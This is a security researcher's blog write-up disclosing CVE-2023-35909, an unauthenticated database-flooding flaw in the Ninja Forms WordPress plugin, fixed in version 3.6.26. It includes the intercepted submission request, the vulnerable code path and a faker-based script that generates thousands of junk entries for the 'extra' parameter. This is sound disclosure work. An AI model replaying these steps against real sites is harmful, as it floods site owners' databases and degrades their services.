Key Takeaways
An unauthenticated attacker can manipulate a parameter of the request sent when filling a Ninja Forms (CVE-2023-35909).
By putting a large amount of random data into this parameter, the attacker can add many rows into a WordPress database table.
This action can be repeated an infinite amount of times, flooding the WordPress database.
It is now fixed in Ninja Forms 3.6.26!
Table of contents
Open Table of contents
Motivations
Following a previous discovery, I decided to take a look at other plugins.
At the same time, I wanted to dig into semgrep rules, especially rules that follow taints. I decided to write a few of them, focusing on SQL injections, WordPress nonces for CSRF and generally dangerous PHP functions (call_user_func
, for example).
The final goal was to automate the vulnerability research a bit:
- First, I pull plugins from the WordPress plugin API (at https://api.wordpress.org/plugins/info/1.2/?action=query_plugins).
- I then scan them with my custom semgrep rules. If a plugin has many matches, it might be worth a look!
- I have a look at the results, and decide to focus on a plugin.
Well, that’s in theory… In practice, I was overflowed by false (or maybe not?) positives and I could not determine easily which plugins to target. I am still refining the process a bit for the future. I’ll post info about the working setup sometimes later 🔥.
I decided to fall back to picking a plugin randomly, and praying to find something interesting by looking at it enough 😶🌫️
The Ninja Forms Plugin
Ninja Forms is a plugin to super-easily create forms to fill by your customers. There is a set of predefined forms you can customize, without coding involved.
After watching this amazing interview of shubs on YouTube, I tried to follow the tips he gave. His main tip is to always make a map of the unauthenticated attack surface of the target component.
On Ninja Forms, I found two things that were attractive to me:
- The email templating system. After having looked at it in Magento, I am drawn to them like moths to a flame.
- The request that you send when filling a form is very large and has lots of parameters.
So I banged my head at the email templating system, but after my attempts did not find anything significant. I might come back to it one day 😉.
What Happens To Submitted Data?
If you fill a Ninja Form and you intercept the request with Burp, it looks like:
POST /wp-admin/admin-ajax.php HTTP/2to
Host: app.wp-research.test
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=nf_ajax_submit&security=<A_ WORDPRESS_NONCE_HERE>&formData=<LAAAAARGE_URL_ENCODED_JSON_FORM_DATA>
Here is an example of the content of the decoded formData
parameter:
{"id":"1","fields":{"1":{"value":"test","id":1},"2":{"value":"test@test.com","id":2},"3":{"value":"test","id":3},"4":{"value":"","id":4}},"settings":{"title":"Contact Me","created_at":"2023-07-04 07:07:40","form_title":"Contact Me","default_label_pos":"above","show_title":"1","clear_complete":"1","hide_complete":"1","logged_in":"0",/* TRUNCATED*/ "embed_form":"","currency_symbol":"","beforeForm":"","beforeFields":"","afterFields":"","afterForm":""},"extra":{}}
I played with all request parameters thinking that maybe one of them could lead to an injection somewhere. However, nothing came out of it.
Then, the extra
parameter fell into scrutiny. This parameter was weird. Playing around the default Ninja Forms, this parameter was always empty in my requests.
But also, there was this bizarre comment (ninja-forms/includes/Actions/Save.php
, L230
):
// If we have extra data...
if( isset( $data[ 'extra' ] ) ) {
// Save that.
$sub->update_extra_values( $data[ 'extra' ] );
}
Which told me that maybe there was something to do with that extra
parameter.
In the above snippet, the $data['extra']
value is fed from the extra
POST parameter when filling a form.
The $sub->update_extra_values
line will put all data from the extra
POST parameter into the protected property array $_extra_values
of the $sub
variable.
Line 239
below, we have:
$sub->save();
The save
function will save the form submission as a new WordPress post. All the values within the extra
POST parameter will be saved in the wp_postmeta
table.
The
wp_postmeta
table contains all the metadata linked to WordPress posts. They are in the key:value format and are heavily used by plugins to create additional functionalities for WordPress posts.Plugins often use this table and the key:values they set up to aggregate their data.
The
wp_postmeta
table is often cited within articles to speed up a WordPress instance, as it might take up significant space. Optimization techniques are focused on this table.
It’s time to add some rows to the database!
Polluting the Database
The idea now is to generate a large amount of fake data and put it into the extra
parameter of the POST request.
For example, we want something that looks like:
"extra": {
... More Data ...
"JBSzGLdnMI": "jDTEyvjYEr",
"vSPqxNOUYn": "XqKmHyoXFe",
"rUCQDaxdDL": "STlhnijgaC",
"weDIbiARrD": "STfwcvPGwb"
... More Data ...
}
To generate fake JSON data I use the following JS script:
// npm init -y
// Into the generated package.json file:
// "scripts": {
// "dev": "node index.js"
// }
// npm install @faker-js/faker
// Into an index.js file, paste:
const { faker } = require('@faker-js/faker');
const fs = require("fs");
const json = {};
for (let i=0; i < 10_000; i++) {
const key = faker.string.alpha(10);
json[`${key}`] = faker.string.alpha(10);
}
fs.writeFileSync("output.json", JSON.stringify(json));
// npm run dev
The above script generates 10_000 entries in an output.json
for a file size around 380 KB.
I could now take the generated JSON data and add it to the extra
parameter in the intercepted request. (Inside Burp, I do right-click -> Paste from file -> Select output.json).
The server takes a while to respond to this request, as it processes the data and the extra parameter is reflected into the response.
If you now have a look at the database, you will see that the wp_postmeta
table contains 10k+ rows containing random data (SELECT COUNT(*) from wp_postmeta
):
The attacker can replay the request as much as he wants and pollute the database, many rows at a time.
While testing, I could push the number of rows added at once to 20k. Afterward, my tiny WordPress setup was a bit tired.
The limit of the number of rows is only limited by the POST request length accepted by the server.
Outro
I would like to give special thanks to snicco and the PatchStack staff at their Discord for giving very helpful tips 🤩!
Links
- Snicco’s website. Take a look at the Vulnerability Disclosure Page, which is very helpful to learn more about WordPress vulnerabilities.
- Check out the PatchStack Alliance program.